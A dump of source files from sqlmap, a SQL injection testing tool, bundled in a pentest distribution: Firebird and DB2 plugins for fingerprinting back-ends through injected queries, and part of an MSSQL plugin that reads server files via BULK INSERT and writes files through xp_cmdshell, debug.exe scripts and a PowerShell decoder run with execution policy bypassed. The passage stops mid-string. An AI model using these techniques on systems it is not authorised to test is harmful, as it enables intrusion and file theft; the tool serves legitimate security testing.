184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,128
filesystem.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/firebird/filesystem.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "on Firebird it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "on Firebird it is not possible to write files" raise SqlmapUnsupportedFeatureException(errMsg)
730
Python
.py
16
41.0625
71
0.758815
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,129
connector.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/firebird/connector.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import kinterbasdb except ImportError: pass import logging from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.settings import UNICODE_ENCODING from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://kinterbasdb.sourceforge.net/ User guide: http://kinterbasdb.sourceforge.net/dist_docs/usage.html Debian package: python-kinterbasdb License: BSD """ def __init__(self): GenericConnector.__init__(self) # sample usage: # ./sqlmap.py -d "firebird://sysdba:testpass@/opt/firebird/testdb.fdb" # ./sqlmap.py -d "firebird://sysdba:testpass@127.0.0.1:3050//opt/firebird/testdb.fdb" def connect(self): self.initConnection() if not self.hostname: self.checkFileDb() try: self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), \ user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8") # Reference: http://www.daniweb.com/forums/thread248499.html except kinterbasdb.OperationalError, msg: raise SqlmapConnectionException(msg[1]) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except kinterbasdb.OperationalError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) return None def execute(self, query): try: self.cursor.execute(query) except kinterbasdb.OperationalError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) except kinterbasdb.Error, msg: raise SqlmapConnectionException(msg[1]) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall()
2,247
Python
.py
55
34
183
0.693297
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,130
syntax.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/firebird/syntax.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import isDBMSVersionAtLeast from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Backend.setVersion('2.0') ['2.0'] >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") "SELECT 'abcdefgh' FROM foobar" >>> Backend.setVersion('2.1') ['2.1'] >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT ASCII_CHAR(97)||ASCII_CHAR(98)||ASCII_CHAR(99)||ASCII_CHAR(100)||ASCII_CHAR(101)||ASCII_CHAR(102)||ASCII_CHAR(103)||ASCII_CHAR(104) FROM foobar' """ def escaper(value): return "||".join("ASCII_CHAR(%d)" % ord(_) for _ in value) retVal = expression if isDBMSVersionAtLeast("2.1"): retVal = Syntax._escape(expression, quote, escaper) return retVal
1,147
Python
.py
29
32.896552
160
0.638739
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,131
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/firebird/__init__.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import FIREBIRD_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.firebird.enumeration import Enumeration from plugins.dbms.firebird.filesystem import Filesystem from plugins.dbms.firebird.fingerprint import Fingerprint from plugins.dbms.firebird.syntax import Syntax from plugins.dbms.firebird.takeover import Takeover from plugins.generic.misc import Miscellaneous class FirebirdMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Firebird methods """ def __init__(self): self.excludeDbsList = FIREBIRD_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.FIREBIRD] = Syntax.escape
1,059
Python
.py
27
35.185185
89
0.755361
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,132
fingerprint.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/firebird/fingerprint.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.common import getUnicode from lib.core.common import randomRange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import METADB_SUFFIX from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.FIREBIRD) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer return value actVer = Format.getDbms() + " (%s)" % (self._dialectCheck()) blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if re.search("-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def _sysTablesCheck(self): retVal = None table = ( ("1.0", ("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)",)), ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), # TODO: add test for Firebird 2.5 ) for i in xrange(len(table)): version, checks = table[i] failed = False check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100))) result = inject.checkBooleanExpression(check) if result: retVal = version else: failed = True break if failed: break return retVal def _dialectCheck(self): retVal = None if Backend.getIdentifiedDbms(): result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)") retVal = "dialect 3" if result else "dialect 1" return retVal def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \ or (conf.dbms or "").lower() in FIREBIRD_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") v = v.replace(" ", "") Backend.setVersion(v) setDbms("%s %s" % (DBMS.FIREBIRD, Backend.getVersion())) self.getBanner() return True infoMsg = "testing %s" % DBMS.FIREBIRD logger.info(infoMsg) result = inject.checkBooleanExpression("(SELECT COUNT(*) FROM RDB$DATABASE WHERE [RANDNUM]=[RANDNUM])>0") if result: infoMsg = "confirming %s" % DBMS.FIREBIRD logger.info(infoMsg) result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False setDbms(DBMS.FIREBIRD) infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD logger.info(infoMsg) version = self._sysTablesCheck() if version is not None: Backend.setVersion(version) setDbms("%s %s" % (DBMS.FIREBIRD, version)) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD logger.warn(warnMsg) return False def forceDbmsEnum(self): conf.db = "%s%s" % (DBMS.FIREBIRD, METADB_SUFFIX) if conf.tbl: conf.tbl = conf.tbl.upper()
5,020
Python
.py
117
32.367521
123
0.586455
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,133
takeover.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/firebird/takeover.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "on Firebird it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "on Firebird it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "on Firebird it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "on Firebird it is not possible to establish an " errMsg += "out-of-band connection" raise SqlmapUnsupportedFeatureException(errMsg)
1,046
Python
.py
24
37.791667
69
0.729064
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,134
enumeration.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/firebird/enumeration.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getDbs(self): warnMsg = "on Firebird it is not possible to enumerate databases (use only '--tables')" logger.warn(warnMsg) return [] def getPasswordHashes(self): warnMsg = "on Firebird it is not possible to enumerate the user password hashes" logger.warn(warnMsg) return {} def searchDb(self): warnMsg = "on Firebird it is not possible to search databases" logger.warn(warnMsg) return [] def searchColumn(self): warnMsg = "on Firebird it is not possible to search columns" logger.warn(warnMsg) return [] def getHostname(self): warnMsg = "on Firebird it is not possible to enumerate the hostname" logger.warn(warnMsg)
1,120
Python
.py
29
32.241379
95
0.688601
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,135
filesystem.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/db2/filesystem.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self)
319
Python
.py
9
32.777778
70
0.758958
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,136
connector.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/db2/connector.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import ibm_db_dbi except ImportError: pass import logging from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://code.google.com/p/ibm-db/ User guide: http://code.google.com/p/ibm-db/wiki/README API: http://www.python.org/dev/peps/pep-0249/ License: Apache License 2.0 """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: database = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=%s;HOSTNAME=%s;PORT=%s;PROTOCOL=TCPIP;" % (self.db, self.hostname, self.port) self.connector = ibm_db_dbi.connect(database, self.user, self.password) except ibm_db_dbi.OperationalError, msg: raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except ibm_db_dbi.ProgrammingError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) return None def execute(self, query): try: self.cursor.execute(query) except (ibm_db_dbi.OperationalError, ibm_db_dbi.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg[1]) except ibm_db_dbi.InternalError, msg: raise SqlmapConnectionException(msg[1]) self.connector.commit() def select(self, query): self.execute(query) return self.fetchall()
1,897
Python
.py
49
31.877551
139
0.675573
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,137
syntax.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/db2/syntax.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar' """ def escaper(value): return "||".join("CHR(%d)" % ord(_) for _ in value) return Syntax._escape(expression, quote, escaper)
694
Python
.py
18
32.777778
104
0.638806
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,138
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/db2/__init__.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import DB2_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.db2.enumeration import Enumeration from plugins.dbms.db2.filesystem import Filesystem from plugins.dbms.db2.fingerprint import Fingerprint from plugins.dbms.db2.syntax import Syntax from plugins.dbms.db2.takeover import Takeover from plugins.generic.misc import Miscellaneous class DB2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines DB2 methods """ def __init__(self): self.excludeDbsList = DB2_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.DB2] = Syntax.escape
1,010
Python
.py
27
33.333333
84
0.742828
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,139
fingerprint.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/db2/fingerprint.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import DB2_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.DB2) def _versionCheck(self): minor, major = None, None for version in reversed(xrange(5, 15)): result = inject.checkBooleanExpression("(SELECT COUNT(*) FROM sysibm.sysversions WHERE versionnumber BETWEEN %d000000 AND %d999999)>0" % (version, version)) if result: major = version for version in reversed(xrange(0, 20)): result = inject.checkBooleanExpression("(SELECT COUNT(*) FROM sysibm.sysversions WHERE versionnumber BETWEEN %d%02d0000 AND %d%02d9999)>0" % (major, version, major, version)) if result: minor = version version = "%s.%s" % (major, minor) break break if major and minor: return "%s.%s" % (major, minor) else: return None def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.DB2 return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(DB2_ALIASES) or (conf.dbms or "").lower() in DB2_ALIASES): setDbms(DBMS.DB2) return True logMsg = "testing %s" % DBMS.DB2 logger.info(logMsg) result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1)") if result: logMsg = "confirming %s" % DBMS.DB2 logger.info(logMsg) version = self._versionCheck() if version: Backend.setVersion(version) setDbms("%s %s" % (DBMS.DB2, Backend.getVersion())) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 logger.warn(warnMsg) return False def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) query = "(SELECT LENGTH(OS_NAME) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_NAME LIKE '%WIN%')>0" result = inject.checkBooleanExpression(query) if not result: Backend.setOs(OS.LINUX) else: Backend.setOs(OS.WINDOWS) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() if result: versions = { "2003": ("5.2", (2, 1)), "2008": ("7.0", (1,)), "2000": ("5.0", (4, 3, 2, 1)), "7": ("6.1", (1, 0)), "XP": ("5.1", (2, 1)), "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "(SELECT LENGTH(OS_VERSION) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_VERSION = '%s')>0" % data[0] result = inject.checkBooleanExpression(query) if result: Backend.setOsVersion(version) infoMsg += " %s" % Backend.getOsVersion() break if not Backend.getOsVersion(): return # Get back-end DBMS underlying operating system service pack for sp in versions[Backend.getOsVersion()][1]: query = "(SELECT LENGTH(OS_RELEASE) FROM SYSIBMADM.ENV_SYS_INFO WHERE OS_RELEASE LIKE '%Service Pack " + str(sp) + "%')>0" result = inject.checkBooleanExpression(query) if result: Backend.setOsServicePack(sp) break if not Backend.getOsServicePack(): Backend.setOsServicePack(0) debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() logger.info(infoMsg)
5,569
Python
.py
123
33.544715
194
0.575528
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,140
takeover.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/db2/takeover.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): self.__basedir = None self.__datadir = None GenericTakeover.__init__(self)
368
Python
.py
11
29.545455
64
0.711048
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,141
enumeration.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/db2/enumeration.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getPasswordHashes(self): warnMsg = "on DB2 it is not possible to list password hashes" logger.warn(warnMsg) return {}
512
Python
.py
14
32.214286
73
0.733198
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,142
filesystem.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/mssqlserver/filesystem.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import ntpath import os from lib.core.common import getLimitRange from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import posixToNtSlashes from lib.core.common import randomStr from lib.core.common import readInput from lib.core.convert import base64encode from lib.core.convert import hexencode from lib.core.data import conf from lib.core.data import logger from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def _dataToScr(self, fileContent, chunkName): fileLines = [] fileSize = len(fileContent) lineAddr = 0x100 lineLen = 20 fileLines.append("n %s" % chunkName) fileLines.append("rcx") fileLines.append("%x" % fileSize) fileLines.append("f 0100 %x 00" % fileSize) for fileLine in xrange(0, len(fileContent), lineLen): scrString = "" for lineChar in fileContent[fileLine:fileLine + lineLen]: strLineChar = hexencode(lineChar) if not scrString: scrString = "e %x %s" % (lineAddr, strLineChar) else: scrString += " %s" % strLineChar lineAddr += len(lineChar) fileLines.append(scrString) fileLines.append("w") fileLines.append("q") return fileLines def _updateDestChunk(self, fileContent, tmpPath): randScr = "tmpf%s.scr" % randomStr(lowercase=True) chunkName = randomStr(lowercase=True) fileScrLines = self._dataToScr(fileContent, chunkName) logger.debug("uploading debug script to %s\%s, please wait.." % (tmpPath, randScr)) self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr) logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr)) commands = ("cd \"%s\"" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr) complComm = " & ".join(command for command in commands) self.execCmd(complComm) return chunkName def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) result = [] txtTbl = self.fileTblName hexTbl = "%shex" % self.fileTblName self.createSupportTbl(txtTbl, self.tblField, "text") inject.goStacked("DROP TABLE %s" % hexTbl) inject.goStacked("CREATE TABLE %s(id INT IDENTITY(1, 1) PRIMARY KEY, %s %s)" % (hexTbl, self.tblField, "VARCHAR(4096)")) logger.debug("loading the content of file '%s' into support table" % rFile) inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (txtTbl, rFile, randomStr(10), randomStr(10)), silent=True) # Reference: http://support.microsoft.com/kb/104829 binToHexQuery = """DECLARE @charset VARCHAR(16) DECLARE @counter INT DECLARE @hexstr VARCHAR(4096) DECLARE @length INT DECLARE @chunk INT SET @charset = '0123456789ABCDEF' SET @counter = 1 SET @hexstr = '' SET @length = (SELECT DATALENGTH(%s) FROM %s) SET @chunk = 1024 WHILE (@counter <= @length) BEGIN DECLARE @tempint INT DECLARE @firstint INT DECLARE @secondint INT SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) SET @firstint = floor(@tempint/16) SET @secondint = @tempint - (@firstint * 16) SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) SET @counter = @counter + 1 IF @counter %% @chunk = 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) SET @hexstr = '' END END IF @counter %% (@chunk) != 0 BEGIN INSERT INTO %s(%s) VALUES(@hexstr) END """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField) binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ") inject.goStacked(binToHexQuery) if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), resumeValue=False, blind=False, time=False, error=False) if not result: result = [] count = inject.getValue("SELECT COUNT(*) FROM %s" % (hexTbl), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): errMsg = "unable to retrieve the content of the " errMsg += "file '%s'" % rFile raise SqlmapNoneDataException(errMsg) indexRange = getLimitRange(count) for index in indexRange: chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) inject.goStacked("DROP TABLE %s" % hexTbl) return result def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): errMsg = "Microsoft SQL Server does not support file upload with " errMsg += "UNION query SQL injection technique" raise SqlmapUnsupportedFeatureException(errMsg) def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): infoMsg = "using PowerShell to write the %s file content " % fileType infoMsg += "to file '%s'" % dFile logger.info(infoMsg) encodedFileContent = base64encode(wFileContent) encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True) encodedBase64FilePath = "%s\%s" % (tmpPath, encodedBase64File) randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True) randPSScriptPath = "%s\%s" % (tmpPath, randPSScript) wFileSize = len(encodedFileContent) chunkMaxSize = 1024 logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath) for i in xrange(0, wFileSize, chunkMaxSize): wEncodedChunk = encodedFileContent[i:i + chunkMaxSize] self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File) psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = " psString += "[System.Convert]::FromBase64String($Base64); Set-Content " psString += "-Path \"%s\" -Value $Content -Encoding Byte" % dFile logger.debug("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath) self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile) commands = ("powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, "del /F /Q \"%s\"" % encodedBase64FilePath, "del /F /Q \"%s\"" % randPSScriptPath) complComm = " & ".join(command for command in commands) self.execCmd(complComm) def _stackedWriteFileDebugExe(self, tmpPath, wFile, wFileContent, dFile, fileType): infoMsg = "using debug.exe to write the %s " % fileType infoMsg += "file content to file '%s', please wait.." % dFile logger.info(infoMsg) dFileName = ntpath.basename(dFile) sFile = "%s\%s" % (tmpPath, dFileName) wFileSize = os.path.getsize(wFile) debugSize = 0xFF00 if wFileSize < debugSize: chunkName = self._updateDestChunk(wFileContent, tmpPath) debugMsg = "renaming chunk file %s\%s to %s " % (tmpPath, chunkName, fileType) debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile) logger.debug(debugMsg) commands = ("cd \"%s\"" % tmpPath, "ren %s %s" % (chunkName, dFileName), "move /Y %s %s" % (dFileName, dFile)) complComm = " & ".join(command for command in commands) self.execCmd(complComm) else: debugMsg = "the file is larger than %d bytes. " % debugSize debugMsg += "sqlmap will split it into chunks locally, upload " debugMsg += "it chunk by chunk and recreate the original file " debugMsg += "on the server, please wait.." logger.debug(debugMsg) for i in xrange(0, wFileSize, debugSize): wFileChunk = wFileContent[i:i + debugSize] chunkName = self._updateDestChunk(wFileChunk, tmpPath) if i == 0: debugMsg = "renaming chunk " copyCmd = "ren %s %s" % (chunkName, dFileName) else: debugMsg = "appending chunk " copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName) debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName) logger.debug(debugMsg) commands = ("cd \"%s\"" % tmpPath, copyCmd, "del /F /Q %s" % chunkName) complComm = " & ".join(command for command in commands) self.execCmd(complComm) logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile)) commands = ("cd \"%s\"" % tmpPath, "move /Y %s %s" % (dFileName, dFile)) complComm = " & ".join(command for command in commands) self.execCmd(complComm) def _stackedWriteFileVbs(self, tmpPath, wFileContent, dFile, fileType): infoMsg = "using a custom visual basic script to write the " infoMsg += 